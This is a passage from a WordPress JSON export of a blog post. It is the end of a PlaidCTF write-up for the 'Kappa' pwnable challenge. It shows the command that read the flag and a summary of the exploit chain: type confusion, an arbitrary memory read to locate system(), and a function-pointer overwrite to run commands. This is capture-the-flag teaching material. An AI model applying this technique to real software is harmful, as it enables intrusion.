class=\"Identifier\">r<\/span>--<span class=\"Identifier\">r<\/span>-- <span class=\"Constant\">1<\/span> <span class=\"Identifier\">ron<\/span> <span class=\"Identifier\">ron<\/span> <span class=\"Constant\">2<\/span>.<span class=\"Constant\">8<\/span><span class=\"Identifier\">M<\/span> <span class=\"Identifier\">Apr<\/span> <span class=\"Constant\">12<\/span> <span class=\"Constant\">22<\/span>:<span class=\"Constant\">47<\/span> <span class=\"Identifier\">dirlisting<\/span><span class=\"Statement\">.txt<\/span>\r\n<\/pre>\n<p>Which turned out to be in \/home\/kappa\/flag. Then, I printed it out using &#8220;cat ~kappa\/f*&#8221;.<\/p>\n<p>And that was it!<\/p>\n<h2>Conclusion<\/h2>\n<p>So basically, we could cause the program to mix up the structure types. We used that to create an arbitrary indirect read, which we used to find the read() function, and therefore the system() function. Armed with that, we used the structure mix up to overwrite a function pointer and call system() with arbitrary commands!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us read memory &hellip; <a href=\"https:\/\/piratesecurityblog.com\/?p=4\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">PlaidCTF writeup for Pwn-275 \u2013 Kappa (type confusion vuln)<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[3,4],"_links":{"self":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/4"}],"collection":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4"}],"version-history":[{"count":1,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/4\/revisions"}],"predecessor-version":[{"id":5,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/4\/revisions\/5"}],"wp:attachment":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}